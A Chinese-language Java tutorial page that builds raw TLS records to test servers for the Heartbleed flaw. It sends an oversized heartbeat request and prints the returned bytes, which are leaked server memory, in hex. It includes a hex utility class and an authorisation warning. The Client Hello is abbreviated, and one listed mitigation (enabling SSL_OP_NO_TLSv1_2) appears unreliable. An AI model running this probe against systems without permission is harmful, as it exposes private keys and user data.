首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> Java 程式設計 >> Java 相關知識

Java 實作 Heartbeat 心跳包發送與 Byte 十六進制轉換工具類

     編輯:Java 相關知識

背景:SSL/TLS Heartbeat 擴展測試

本程式碼示範如何構造原始 SSL/TLS Client Hello 與 Heartbeat Request 封包,透過原始 Socket 發送並解析回應,用於檢測 Heartbleed (CVE-2014-0160) 弱點。核心技術點:位元組陣列構造協定封包、十六進制字串與 byte 互轉、SSL Record Layer 解析。

核心封包定義

// TLS 1.2 Client Hello(簡化版,實際長度較長)
private static final byte[] CLIENT_HELLO = {
    0x16, 0x03, 0x02, 0x00, (byte)0xdc, 0x01, 0x00, 0x00, (byte)0xd8, 0x03, 0x02,
    // ... 隨機數、Session ID、Cipher Suites、Compression、Extensions ...
};

// Heartbeat Request (Type=24, Payload=0x01 0xff 0xff)
private static final byte[] HEARTBEAT = {
    0x18, 0x03, 0x02, 0x00, 0x03, 0x01, (byte)0xff, (byte)0xff
};

十六進制轉換工具類 HexUtil

package com.example.util;

public final class HexUtil {
    private static final char[] HEX = "0123456789ABCDEF".toCharArray();

    private HexUtil() {}

    /** byte → 兩位大寫十六進制字串,如 0x0A → "0A" */
    public static String byteToHex(byte b) {
        return new String(new char[] { HEX[(b >> 4) & 0xF], HEX[b & 0xF] });
    }

    /** byte[] → 空格分隔十六進制字串,如 {0x01,0x02} → "01 02" */
    public static String bytesToHex(byte[] data) {
        if (data == null) return "";
        StringBuilder sb = new StringBuilder(data.length * 3);
        for (byte b : data) {
            sb.append(HEX[(b >> 4) & 0xF]).append(HEX[b & 0xF]).append(' ');
        }
        return sb.toString().trim();
    }

    /** 十六進制字串 → byte[](忽略空格、大小寫) */
    public static byte[] hexToBytes(String hex) {
        hex = hex.replaceAll("\\s+", "").toUpperCase();
        byte[] out = new byte[hex.length() / 2];
        for (int i = 0; i < out.length; i++) {
            int hi = Character.digit(hex.charAt(2*i), 16);
            int lo = Character.digit(hex.charAt(2*i+1), 16);
            out[i] = (byte) ((hi << 4) | lo);
        }
        return out;
    }

    /** 兩個 byte 組成的十六進制字串 → long(大端序) */
    public static long hexToLong(String twoBytesHex) {
        return Long.parseLong(twoBytesHex, 16);
    }

    /** 將 byte[] 以指定編碼解碼為字串(預設 UTF-8) */
    public static String decode(byte[] data, String charset) {
        try { return new String(data, charset); }
        catch (Exception e) { return new String(data); } // fallback
    }
}

Heartbeat 測試主流程

public class HeartbeatTester {

    public static void main(String[] args) {
        test("target.host", 443); // 修改為目標主機與埠
    }

    public static boolean test(String host, int port) {
        try (Socket socket = new Socket()) {
            socket.connect(new InetSocketAddress(host, port), 5000);
            socket.setSoTimeout(5000);

            OutputStream out = socket.getOutputStream();
            InputStream in = socket.getInputStream();

            // 1. 發送 Client Hello
            out.write(CLIENT_HELLO);
            out.flush();

            // 2. 讀取 Server Hello / Certificate / Server Hello Done
            readRecordLoop(in, 22, 0x0E); // 等待 Server Hello Done (0x0E)

            // 3. 發送 Heartbeat Request(連發兩次增加觸發機率)
            out.write(HEARTBEAT);
            out.write(HEARTBEAT);
            out.flush();

            // 4. 讀取 Heartbeat Response (Type=24)
            byte[] hdr = readExact(in, 5);
            if (hdr == null || hdr[0] != 0x18) {
                System.out.println("未收到 Heartbeat 回應,可能已修補或不支援");
                return false;
            }

            int payloadLen = (hdr[3] & 0xFF) << 8 | (hdr[4] & 0xFF);
            byte[] payload = readExact(in, payloadLen);

            System.out.println("收到 Heartbeat 回應,長度: " + payload.length);
            System.out.println("內容 (Hex): " + HexUtil.bytesToHex(payload));

            if (payload.length > 3) {
                System.out.println("⚠️ 伺服器回傳超出請求長度的資料 — 疑似存在 Heartbleed 弱點!");
            } else {
                System.out.println("✅ 伺服器回應正常,未洩露額外記憶體");
            }
            return true;

        } catch (Exception e) {
            System.err.println("測試異常: " + e.getMessage());
            return false;
        }
    }

    /** 讀取指定長度位元組 */
    private static byte[] readExact(InputStream in, int len) throws IOException {
        byte[] buf = new byte[len];
        int off = 0;
        while (off < len) {
            int r = in.read(buf, off, len - off);
            if (r == -1) return null;
            off += r;
        }
        return buf;
    }

    /** 迴圈讀取 TLS Record,直到遇到指定 ContentType 與 Handshake Type */
    private static void readRecordLoop(InputStream in, int expectedContentType, int expectedHandshakeType) throws IOException {
        while (true) {
            byte[] hdr = readExact(in, 5);
            if (hdr == null) break;
            if (hdr[0] == expectedContentType) {
                int len = (hdr[3] & 0xFF) << 8 | (hdr[4] & 0xFF);
                byte[] payload = readExact(in, len);
                if (payload != null && payload.length > 0 && payload[0] == expectedHandshakeType) {
                    break;
                }
            }
        }
    }
}

SSL/TLS Record Layer 解析重點

位移長度欄位說明
01Content Type0x16=Handshake, 0x17=AppData, 0x18=Heartbeat, 0x15=Alert
1-22Version0x0301=TLS1.0, 0x0302=TLS1.1, 0x0303=TLS1.2
3-42Length大端序,後續 payload 長度
5+LengthPayloadHandshake: msg_type(1) + length(3) + body...

安全與法律提醒

  • ⚠️ 僅對授權系統測試:未經授權掃描/攻擊屬違法行為。
  • 🛡️ 防禦措施:升級 OpenSSL ≥ 1.0.1g、啟用 SSL_OP_NO_TLSv1_2 等緩解選項、部署 WAF/IDS 監控異常 Heartbeat 流量。
  • 🔧 生產代碼:請使用成熟 TLS 庫(Netty、Bouncy Castle、JDK SSLEngine),勿手工拼裝協定封包。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved